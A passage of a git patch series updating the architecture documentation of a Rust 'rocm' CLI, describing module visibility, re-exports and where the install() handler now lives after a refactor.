[`model_fit.rs`](../apps/rocm/src/model_fit.rs) (`classify_accelerator_memory`, `host_accelerator_memory`) [`main.rs`](../apps/rocm/src/main.rs) (the `dispatch()` `Command::EngineServeHttp` arm) and [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`collect_serve_notes`); `detect_gpu_count`, `gpu_vram_usage`, `parse_device_policy`, `parse_gpu_selection`, `select_gpu_indices_under_launch_lock`, `serve_gpu_low_memory_warning`, and `validate_pinned_gpu_index` are also `pub(crate)` and read from [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs); `parse_device_policy` is also read from [`engine_ipc.rs`](../apps/rocm/src/engine_ipc.rs)'s `run_builtin_engine_serve_http` and, as of Phase 6f (ROCMAI-209), from [`services_text.rs`](../apps/rocm/src/services_text.rs)'s `restart_child_argv` (moved out of `main.rs` in that same phase). `effective_gpu_count`, `auto_select_gpu_indices`, `select_auto_gpu_index`, `simulated_low_vram_usage`, `gpu_vram_usage_amd_smi`, `gpu_vram_usage_sysfs` (both the Linux and non-Linux `cfg` variants), `read_drm_vram_usage`, `read_sysfs_u64`, `drm_device_is_amd`, `parse_gpu_vram_usage`, `gpu_low_memory_warning`, and `busy_gpu_indices` have no callers outside this module and stay private. The cluster's regression tests live in `gpu_policy.rs`'s own `mod tests`; two small test-only fixture builders (`vram`, `host_gpu`) are duplicated rather than shared, since `serve_cmd.rs`'s own `serve_notes_pair_low_vram_with_the_vllm_utilization_hint` (testing `collect_serve_notes`) needs them too. - [`install_cmd.rs`](../apps/rocm/src/install_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm install`'s command handler (`install()`, for the `sdk` and `driver` targets), the `--version`/`--build-date` selector parsing and display it uses (`therock_install_version_selector`, `therock_install_version_selector_display`) and `sdk_install_request`, which maps the parsed `install sdk` arguments onto a `therock::SdkInstallRequest` and moved here from [`chat.rs`](../apps/rocm/src/chat.rs) with its two tests. `InstallTarget` and `InstallFormat` stay in [`main.rs`](../apps/rocm/src/main.rs). `install()` is `pub(crate)` and re-imported in `main.rs` for `dispatch()`; `therock_install_version_selector` is `pub(crate)` too, and `chat.rs`'s `render_install_sdk_dry_run_for_args` reaches it as `crate::therock_install_version_selector` through the same kind of re-import, which is why `sdk_install_request` lives here and not in `chat.rs`: this module does not depend on `chat.rs`. `sdk_install_request` keeps the `pub(crate)` it had, although only `install()` and the tests call it now. - [`logging.rs`](../apps/rocm/src/logging.rs) — mechanical relocation, no owned types, reached by qualified path. @@ -62,7 +62,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`model_fit.rs`](../apps/rocm/src/model_fit.rs) — mechanical relocation, owns a `pub(crate)` type: answering whether a host can run a model for `rocm diagnose --model` (`assess_model_on_this_host`, `assess_model_with_host_paths`, `assess_model_for_host`), the accelerator-memory fact it rests on (`host_accelerator_memory`, `classify_accelerator_memory`, `examination_reports_amd_gpu`) and the platform gate that rules an engine out (`PlatformRuleOut`, `engine_ruled_out_by_platform`, `unsupported_here_for`). It is a module of its own, rather than part of the `diagnose` handler, so [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs), which reads `PlatformRuleOut` and `engine_ruled_out_by_platform`, does not depend on a command module. It depends on [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`select_serve_engine`) and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs), neither of which depends on it. `assess_model_on_this_host` (called from [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs)), `PlatformRuleOut` and `engine_ruled_out_by_platform` are `pub(crate)`, and [`main.rs`](../apps/rocm/src/main.rs) re-imports the last two so `examine_report_text.rs` reaches them as `crate::`; every other item is private. The cluster's regression tests live in this module's own `mod tests`; the one that re-runs the test binary on a helper test by its full path (`engine_ruled_out_by_platform_gates_aim_on_docker_reachability`) names the helper's new path, `model_fit::tests::docker_unreachable_subprocess_helper`. - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). -- [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. +- [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths` are `pub(crate)` too, for the modules that import them through `runtimes_cmd.rs`'s re-exports; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. - [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `main.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `main.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. - [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. - [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs), [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) and `runtimes_cmd.rs` need, and the on-disk active-runtime marker: `ActiveRuntimeMarker` (user state, so its serde shape is as fixed as the manifest's; its fields are `pub(crate)` because `runtimes_cmd.rs` builds it on activation and rollback), `active_runtime_marker_path` and `active_runtime_marker_matches`, which uninstall uses to decide whether the runtime it removes was the active one. `write_active_runtime_marker` stays in `runtimes_cmd.rs` with the activation transaction. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. @@ -83,7 +83,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`therock/version.rs`](../apps/rocm/src/therock/version.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): the version grammar behind runtime selection and update checks. `parse_version` is the strict gate an install is routed on; `parse_version_for_ordering`, `compare_version_strings` and `version_relation` implement the PEP 440 ordering and the "is this a different version" question; `parse_host_version` reads a host-reported ROCm version through the same parser; `runtime_version_display`, `runtime_version_build_date`, `normalize_requested_build_date` and the calendar helpers behind them handle build dates; `is_stable_runtime_version` and the `ParsedVersion`/`VersionOrderKey`/`VersionStage` types back them. The items `therock.rs` and its property-test module use are `pub(super)` (including the `ParsedVersion` and `VersionOrderKey` fields they read); the parsing and calendar helpers behind them are private; and `runtime_version_display` is `pub(crate)`, re-exported by `therock.rs` for the other modules that render versions. Depends on nothing else in `therock`. `therock_version_proptests.rs` stays declared from `therock.rs` because it also reaches update, wheel and registry code. - [`therock/io.rs`](../apps/rocm/src/therock/io.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): unique scratch directories (`linux_temp_dir`, `windows_temp_dir`) and the stage-then-publish atomic file writes (`write_file_atomically`, `stage_file_for_atomic_publish`, `temp_sibling_path`, and the platform `publish_temp_file`/`replace_file_windows` pair) for the metadata cache entries and the staged metadata public key, the startup update-check record and the active-runtime marker; runtime registry manifests do not go through them. `write_file_atomically` is `pub(crate)` and re-exported by `therock.rs` for [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs), which writes the active-runtime marker with it; the rest is `pub(super)` or private. The `cfg(windows)` publish and replace paths compile only on the Windows lane. - [`therock/process.rs`](../apps/rocm/src/therock/process.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for scratch directories (split out of `therock.rs`): running and capturing child commands (`run_command*`, `capture_command_output*`, `capture_python_stdout*`, `run_uv_progress_command`, and the Windows temp-file variants with `windows_child_path`), the bounded wait (`wait_with_output_bounded`), the progress-line output with its `--json` suppression guard (`SuppressProgressOutput`, `progress_line`), and unpacking the SDK tarball (`extract_tarball`, `extract_tarball_and_discard_archive`, which is why it sits here and not in `io.rs`: it spawns `tar` through `run_command`). Its `archive_properties` property tests run on Unix only. The process-wide environment lock these tests take is the single `PROCESS_ENV_TEST_LOCK` in [`test_support.rs`](../apps/rocm/src/test_support.rs), shared with the tests left in `therock.rs`. -- [`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for atomic writes and on `slugify` in the parent for cache file names (split out of `therock.rs`): HTTP fetching for installs. `download_text_cached` is the metadata GET with its on-disk etag cache (`CachedHttp*`) and detached-signature verification (`MetadataSignaturePolicy`, `PINNED_METADATA_PUBLIC_KEY_PEM`, the unset trust root that `cargo xtask verify-pinned-keys` checks against the canonical published key, so its path is pinned in `xtask`); `download_file` is the streaming artifact download; `head_content_length` and `preflight_tarball_space` size the download and check free space first; `http_get` is the shared request. `truthy_env` is `pub(crate)` and re-exported by `therock.rs` for [`driver_install.rs`](../apps/rocm/src/driver_install.rs); `download_text_cached`, `download_file`, `preflight_tarball_space` and the `CachedHttpText` struct (with its `text` field) that `download_text_cached` returns are `pub(super)` for the install and resolution code that stays in `therock.rs`; everything else is private. +- [`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for atomic writes and on `slugify` in the parent for cache file names (split out of `therock.rs`): HTTP fetching for installs. `download_text_cached` is the metadata GET with its on-disk etag cache (`CachedHttp*`) and detached-signature verification (`MetadataSignaturePolicy`, `PINNED_METADATA_PUBLIC_KEY_PEM`, the unset trust root that `cargo xtask verify-pinned-keys` checks against the canonical published key, so its path is pinned in `xtask`); `download_file` is the streaming artifact download; `head_content_length` and `preflight_tarball_space` size the download and check free space first; `http_get` is the shared request. `truthy_env` is `pub(crate)` and re-exported by `therock.rs` for [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs); `download_text_cached`, `download_file`, `preflight_tarball_space` and the `CachedHttpText` struct (with its `text` field) that `download_text_cached` returns are `pub(super)` for the install and resolution code that stays in `therock.rs`; everything else is private. - [`therock/source.rs`](../apps/rocm/src/therock/source.rs) — full domain extraction, a child of `therock.rs` that depends only on `therock/version.rs` (split out of `therock.rs`): where an install reads from. `TheRockChannel` (release or nightly) and `SourceLayout` (the canonical stream, or ROCm 10's separately hosted next layout) are the two axes; `resolve_source` maps a pair to the `ResolvedSource` wheel-index and tarball-catalog bases, honouring a `ROCM_CLI_THEROCK_*_BASE` override only behind the explicit opt-in (`therock_base_override_allowed`, `select_base_override`, `env_override_base`); `select_source_layout`, `requested_source_layout` and `next_layout_requested` decide the layout from a pin; `RuntimeVersionSelector` is the version or build date a user pins (`pub(crate)`, re-exported by `therock.rs`). `FamilyResolution` lives here rather than in `therock/family.rs` because choosing the layout reads it; that keeps the dependency one-way, with `family.rs` building on this file. `TheRockChannel`, `SourceLayout`, `ResolvedSource` and `FamilyResolution` (with their methods and fields), `RuntimeVersionSelector`'s `describe` and `matches_version`, `resolve_source`, the three layout functions, and the `THEROCK_SOURCE_LAYOUT_GENERATION` and `THEROCK_NEXT_MIN_MAJOR` constants are `pub(super)` for `therock.rs` and its siblings; the base-override helpers and the other constants (the per-channel and next-layout base URLs, and the next layout's generation tag) are private to this file. - [`therock/family.rs`](../apps/rocm/src/therock/family.rs) — full domain extraction, a child of `therock.rs` that builds on `therock/source.rs` for `TheRockChannel` and `FamilyResolution` (split out of `therock.rs`): which package family a request targets. `resolve_family` picks it from `--family`, `ROCM_CLI_THEROCK_FAMILY`, a managed runtime or the host GPU, in that order, and refuses a GPU with no ROCm build (`unsupported_host_gpu_message`, `unsupported_requested_target_message`) instead of substituting another family; `family_override_or_recovered_arch` and `raw_arch_agreeing_with_family` recover the exact arch behind a grouped family; `family_resolution_hint` is the recovery text appended when no runtime is found. `resolve_family`, `family_override_or_recovered_arch` and `family_resolution_hint` are `pub(super)`; the rest is private. - [`therock/python.rs`](../apps/rocm/src/therock/python.rs) — full domain extraction, a child of `therock.rs` that builds on `therock/io.rs`, `therock/process.rs` and `therock/source.rs` (split out of `therock.rs`): the Python an install runs on. `python_requirement` maps a `SourceLayout` to the interpreter the layout needs (`PythonRequirement`: wheel tag and `uv` version), which is why `source.rs` had to move first; `resolve_python_launcher` finds one in order of an explicit `ROCM_CLI_PYTHON`, `PATH`, the saved managed Python, then `ensure_managed_python`, which installs one through `uv` and records it in the managed-Python manifest; the resolver reads its environment through `PythonResolverEnv`, so tests steer it with a thread-local override (`OverridePythonResolverEnv`) rather than rewriting `PATH`; `wheel_compatibility_for_python` and `current_platform_wheel_tags` report the wheel tags an interpreter and platform accept (`WheelCompatibility`); `ensure_uv_venv` creates, or recreates when the interpreter tag no longer matches, the runtime's virtual environment. `venv_python_path` stays in `therock.rs` for good, with the other keys and roots helpers, and this module reads it from there. The items `therock.rs` reaches, and `split_runtime_path`, which `therock/probe.rs` reads, are `pub(super)`; the rest is private, including `ensure_managed_python` and `resolve_python_launcher_in` (the resolver's entry point that takes its environment as an argument). Its Unix-only tests drive fake interpreters and `uv` scripts. From 2e3b83b0fc6b01424fe83b70aa199ea779ecde02 Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Wed, 4 Nov 2026 06:38:18 +0000 Subject: [PATCH 12/12] docs(rocm): name install_cmd.rs where install() now lives After the command clusters left main.rs, the entries for the system-package, install-finalize, driver-install and runtimes modules still named main.rs as the caller of install() or as a re-export consumer. They now name install_cmd.rs and config_cmd.rs. Signed-off-by: Jussi Elo --- apps/rocm/src/system_packages.rs | 2 +- docs/architecture.md | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/apps/rocm/src/system_packages.rs b/apps/rocm/src/system_packages.rs index c98d7ec0f8..4e3b5b78b6 100644 --- a/apps/rocm/src/system_packages.rs +++ b/apps/rocm/src/system_packages.rs @@ -13,7 +13,7 @@ //! `rocm install sdk` (`SdkInstallConsents`) stays in `runtime_install_finalize.rs`, //! which passes the plain `system_packages` bool in. That module re-exports //! `ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch` and -//! `ensure_libnuma_for_torch` for `main.rs` and `engines_cmd.rs`, and +//! `ensure_libnuma_for_torch` for `install_cmd.rs` and `engines_cmd.rs`, and //! `driver_install.rs` reads `real_os_release` from here directly. use std::process::{Command as ProcessCommand, Stdio}; diff --git a/docs/architecture.md b/docs/architecture.md index 1d9cc55e22..9015b9d89c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -43,7 +43,7 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`dash.rs`](../apps/rocm/src/dash.rs) — full domain extraction. - [`dash_seam.rs`](../apps/rocm/src/dash_seam.rs) — full domain extraction. - [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: the command handlers for `rocm diagnose` and `rocm fix` (`diagnose()`, `fix()`) and the report step behind `rocm diagnose --report` (`show_prepared_report`, `perform_delivery`, `established_entry`). `diagnose()` and `fix()` are `pub(crate)` and re-imported in [`main.rs`](../apps/rocm/src/main.rs) for `dispatch()`; the other three functions are private. `diagnose()` gets its `--model` verdict from [`model_fit.rs`](../apps/rocm/src/model_fit.rs), and `fix()` returns a failing exit code through `FixExitCode`, which stays in `main.rs` with the other exit-code plumbing. The report and delivery regression tests live in this module's own `mod tests`; the exit-code tests stay in `main.rs`. -- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, running an approved plan's shell commands, and the install state persisted to `state.json` (`DriverInstallState`, `DriverReconciliationState` and the passive-check types). The plan it runs lives in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from and which does not import from it; the os-release the plan is built from comes from `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs). Its `pub(crate)` surface is `install_driver` and `reconcile_driver_install`, `DriverInstallResult` and `DriverInstallError` (read from `main.rs`'s `install()`), `driver_install_state_path`, and a re-export of `host_install_driver_only_reports` for [`chat.rs`](../apps/rocm/src/chat.rs) and [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs). +- [`driver_install.rs`](../apps/rocm/src/driver_install.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6a split, ROCMAI-82; see the Phase 6a variant note above): `install_driver()`/`reconcile_driver_install()`, running an approved plan's shell commands, and the install state persisted to `state.json` (`DriverInstallState`, `DriverReconciliationState` and the passive-check types). The plan it runs lives in [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs), which this module imports from and which does not import from it; the os-release the plan is built from comes from `real_os_release` in [`system_packages.rs`](../apps/rocm/src/system_packages.rs). Its `pub(crate)` surface is `install_driver` and `reconcile_driver_install`, `DriverInstallResult` and `DriverInstallError` (read from `install_cmd.rs`'s `install()`), `driver_install_state_path`, and a re-export of `host_install_driver_only_reports` for [`chat.rs`](../apps/rocm/src/chat.rs) and [`freeform_planner.rs`](../apps/rocm/src/freeform_planner.rs). - [`driver_plan.rs`](../apps/rocm/src/driver_plan.rs) — full domain extraction, crate-level (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the plan `rocm install driver` builds and prints. It owns the model (`DriverInstallPlan` with `execution_commands`, `DriverPlanCommand`, `DriverCommandPhase`, and `PrivilegeEscalation`, which decides whether a generated shell line gets a `sudo ` prefix), `render_driver_install_plan` with its approval label, the helpers the builders share (`driver_command`, `driver_root_preflight_checks`, `resolve_shell_default_template`, `is_safe_shell_token`), and the builders: `build_driver_install_plan_read`, which `install_driver` calls with the real host's os-release, and `build_driver_install_plan_at` beneath it, with the apt, dnf and SLES plans, the `ID_LIKE` fallback, the repository URL helpers, `resolve_repo_version_expr` (the `ROCM_CLI_AMDGPU_DRIVER_VERSION` override and the retired version variables it refuses), and the refusal plans for an unreadable os-release or an invalid override. It also owns `install_driver_only_reports_on`/`host_install_driver_only_reports` (true on native Windows, where the plan only reports); `driver_install.rs` re-exports the latter. It declares the child module [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) and re-exports its `wsl_rocdxg_driver_plan`. Production code in this file uses only `std` and `rocm_core`, and nothing here depends on `driver_install.rs`. The model types and their fields, `execution_commands`, `PrivilegeEscalation::detect`, `driver_command`, `render_driver_install_plan`, `build_driver_install_plan_read`, `install_driver_only_reports_on` and `host_install_driver_only_reports` are `pub(crate)`, as is `invalid_driver_version_override_plan`, which a test that stays in `driver_install.rs` builds a plan with; the rest is private. Its test module is `pub(crate)` so `driver_install.rs`'s tests can reuse its `test_examine` and `os_release_found` helpers. It holds the plan-builder tests, including the one that keeps the supported-distro matrix in step with `dkms_driver_plan_is_supported` in `rocm-core`, and the tests of the template resolver and the shell-token filter. - [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs) — full domain extraction, a child of `driver_plan.rs` that depends on the plan model, `driver_command`, `driver_root_preflight_checks` and `resolve_shell_default_template` in its parent, and on `truthy_env` in [`therock.rs`](../apps/rocm/src/therock.rs) (split out of [`driver_install.rs`](../apps/rocm/src/driver_install.rs)): the WSL2 rocDXG plan. `wsl_rocdxg_driver_plan` builds the plan that installs the `rocdxg-roct` package, `resolve_rocdxg_verification` decides how that download is authenticated (a supplied digest, the digest pinned for the version in `ROCDXG_PINNED_DIGESTS`, or the explicit opt-out), and `wsl_rocdxg_refusal_plan` is the plan that installs nothing and says why when it cannot be authenticated or the version is not a well-formed package version. `ROCDXG_PINNED_DIGESTS` is the trust anchor an unattended root install is checked against, so a change to it is a security-relevant diff; it moved byte for byte. `wsl_rocdxg_driver_plan` is `pub(crate)` and re-exported by `driver_plan.rs` (its builders call it, and tests in `driver_install.rs` use it as a plan fixture); everything else in production code is private. Its tests are the `wsl_rocdxg_*` plan tests, including the one that runs the generated digest step against a real file on Unix. The test-only `scoped_rocdxg_env` helper that clears the rocDXG environment lives here too, `pub(super)` for the plan-builder tests in `driver_plan.rs`. - [`endpoint_keys.rs`](../apps/rocm/src/endpoint_keys.rs) — mechanical relocation, no owned types, reached by qualified path. @@ -63,12 +63,12 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). - [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths` are `pub(crate)` too, for the modules that import them through `runtimes_cmd.rs`'s re-exports; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. -- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `main.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `main.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. +- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `install_cmd.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. - [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the 